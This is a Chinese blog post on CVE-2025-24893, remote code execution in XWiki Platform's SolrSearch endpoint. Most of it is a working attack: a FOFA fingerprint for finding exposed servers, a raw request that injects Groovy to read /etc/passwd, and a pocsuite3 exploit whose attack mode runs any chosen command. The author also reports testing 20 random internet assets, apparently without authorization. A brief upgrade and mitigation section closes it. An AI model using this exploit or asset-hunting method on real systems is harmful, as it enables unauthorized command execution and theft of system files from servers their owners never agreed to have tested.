XWiki-Platform系统远程代码执行漏洞(CVE-2025-24893)


一、XWiki Platform介绍

Xwiki Platform 是一个基于 Java 的开源知识管理和协作平台,其核心是一个强大的结构化 Wiki 系统。它允许团队轻松创建、编辑、组织和共享文档内容,构建知识库、内部文档、应用文档、企业门户等。Xwiki 的独特之处在于它将强大的 wiki 编辑功能与结构化的数据管理相结合,用户可以:

  1. 创建自由格式的 Wiki 页面:支持富文本编辑,方便记录知识。
  2. 设计结构化应用:使用内置的所见即所得编辑器和脚本语言,用户可以创建自定义表单、模板和数据库,无需复杂开发即可快速构建简单的业务流程应用(如工单系统、小型 CRM、项目跟踪)。
  3. 协作与权限管理:提供精细的访问控制(页面、空间、用户、用户组级权限),支持页面评论、更改历史追踪、版本差异比较、内容恢复等协作特性。
  4. 强大的扩展性:拥有丰富的插件和宏生态系统,可以轻松集成第三方工具、添加新功能或定制界面。
  5. 开放性与可移植性:内容默认以开放格式(XWiki 语法或 HTML)存储,便于导出(PDF、Word 等格式)。

总而言之,Xwiki Platform 是一个灵活、开放且功能丰富的平台,既能作为简单易用的团队协作 Wiki,也能作为强大可定制的基础设施来开发满足特定需求的轻量级业务应用程序,特别适合需要集中管理知识、文档并追求可定制性的团队和企业。它也提供商业支持版本(XWiki Standard 和 XWiki Enterprise)。

二、资产收集

body="data-xwiki-reference"

三、Wiki-Platform-(CVE-2025-24893)简述

3.1 漏洞简介

XWiki Platform存在安全漏洞,该漏洞源于任何来宾用户都可以通过对SolrSearch的请求,造成远程代码执行。

CVE-2025-24893是针对XWiki平台SolrSearchMacros组件的远程代码执行漏洞(RCE),该漏洞源于对用户输入数据的未充分过滤,攻击者可利用Solr查询参数注入恶意代码,通过服务端模板引擎(如Velocity或Groovy)触发命令执行。

危害等级:严重

披露日期:2025年2月26日

3.2 影响版本

16.0.0-rc-1<=org.xwiki.platform:xwiki-platform-search-solr-ui<16.4.1

5.3-milestone-2<=org.xwiki.platform:xwiki-platform-search-solr-ui<15.10.11

即:[16.0.0-rc-1,16.4.1)、[5.3-milestone-2,15.10.11)

四、漏洞复现

poc数据包:

GET /bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

解码内容:

GET /bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}  HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

注意这里请求的路径需要带上/xwiki,成功读取到了/etc/passwd文件。

五、POC

5.1 nuclei-poc【不可用】

id: XWiki-Platform系统远程代码执行漏洞CVE-2025-24893

info:
  name: XWiki-Platform系统远程代码执行漏洞CVE-2025-24893
  author: sixiaokai
  severity: critical
  description: |
    XWiki-Platform系统远程代码执行漏洞CVE-2025-24893

http:
  - raw:
      - |
        GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "root:x:0:0:"
        part: body
      - type: status
        status:
          - 200

由于payload中有{{}},会被nuclei当成语法解析,导致请求构造失败。

5.2 pocsuite-poc【可用✅】

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pocsuite3.api import Output, POCBase, register_poc, requests, OptString
from urllib.parse import quote


class XWikiRCE_POC(POCBase):
    vulID = 'CVE-2025-24893'
    version = '1.0'
    author = 'sixiaokai'
    vulDate = '2025-02-26'
    createDate = '2025-06-06'
    updateDate = '2025-06-06'
    references = ['']
    name = 'XWiki Platform RCE'
    appPowerLink = 'https://www.xwiki.org/'
    appName = 'XWiki Platform'
    appVersion = '[16.0.0-rc-1,16.4.1)和[5.3-milestone-2,15.10.11)'
    vulType = 'RCE'
    desc = '''
    XWiki Platform存在远程代码执行漏洞(CVE-2025-24893),攻击者可通过SolrSearch接口注入Groovy代码,
    导致在目标服务器上执行任意系统命令。该漏洞源于未正确处理用户输入的模板语法。
    '''
    pocDesc = '''
    验证模式:执行无害命令验证漏洞存在
    攻击模式:通过--cmd参数指定要执行的系统命令
    '''
    samples = ['']
    cyberspace = {'fofa': 'body="data-xwiki-reference"'}

    def _construct_payload(self, command):
        """安全构造Payload,避免格式字符串错误[4](@ref)"""
        # 使用字符串拼接替代format()避免单括号问题
        # 原始模板:}}}{{async async=false}}{{groovy}}println('CMD'.execute().text){{/groovy}}{{/async}}
        safe_cmd = command.replace("'", "\\'")  # 转义单引号防止Groovy语法错误[1](@ref)
        return f"}}}}{{async async=false}}{{groovy}}println('{safe_cmd}'.execute().text){{/groovy}}{{/async}}"

    def _exploit(self, command='echo XWIKI_RCE_TEST'):
        """执行漏洞利用"""
        path = "/xwiki/bin/get/Main/SolrSearch"
        payload = self._construct_payload(command)
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

        return requests.get(
            self.url.rstrip('/') + path,
            params={'media': 'rss', 'text': quote(payload)},
            headers=headers,
            verify=False,
            timeout=15
        )

    def _root_exp(self,command='echo XWIKI_RCE_TEST'):
        path = "/bin/get/Main/SolrSearch"
        payload = self._construct_payload(command)
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}

        return requests.get(
            self.url.rstrip('/') + path,
            params={'media': 'rss', 'text': quote(payload)},
            headers=headers,
            verify=False,
            timeout=15
        )

    def _verify(self):
        result = {}
        # 使用无害命令验证漏洞[6](@ref)
        response = self._exploit("echo XWIKI_RCE_SUCCESS")
        response2 = self._root_exp("echo XWIKI_RCE_SUCCESS_RootPath")

        if (response.status_code == 200 and 'XWIKI_RCE_SUCCESS' in response.text) or (response2.status_code==200 and 'XWIKI_RCE_SUCCESS_RootPath' in response2.text) :
            result['VerifyInfo'] = {
                'URL': response.url,
                'Payload': response.request.url,
                'Response': f"检测到命令回显 (长度: {len(response.text)})"
            }

        return self.parse_output(result)

    def _attack(self):
        result = {}
        cmd = self.get_option("cmd") or "id"
        response = self._exploit(cmd)

        if response.status_code == 200:
            # 返回完整响应内容(截断处理)[5](@ref)
            truncated_response = (response.text[:1000] + '...') if len(response.text) > 1000 else response.text
            result['VerifyInfo'] = {
                'URL': response.url,
                'Command': cmd,
                'Response': truncated_response
            }
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('目标未检测到漏洞')
        return output

    def _options(self):
        """正确声明选项类型避免框架错误[2,7](@ref)"""
        return {'cmd': OptString('id', description='要执行的系统命令', require=False)}


register_poc(XWikiRCE_POC)

随机挑选的20个资产中,有11台存在该RCE漏洞。

六、防御措施

  • 立即升级至XWiki官方修复版本(≥15.10.11/16.4.1/16.5.0RC1)。

  • 临时防护:在xwiki.cfg中配置rendering.restrictedParameters=groovy禁用Groovy宏执行。

rendering.restrictedParameters  = velocity, groovy 
rendering.transformations  = macro, icon, link
  • 监控日志:检测包含或异常Solr查询的请求。

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录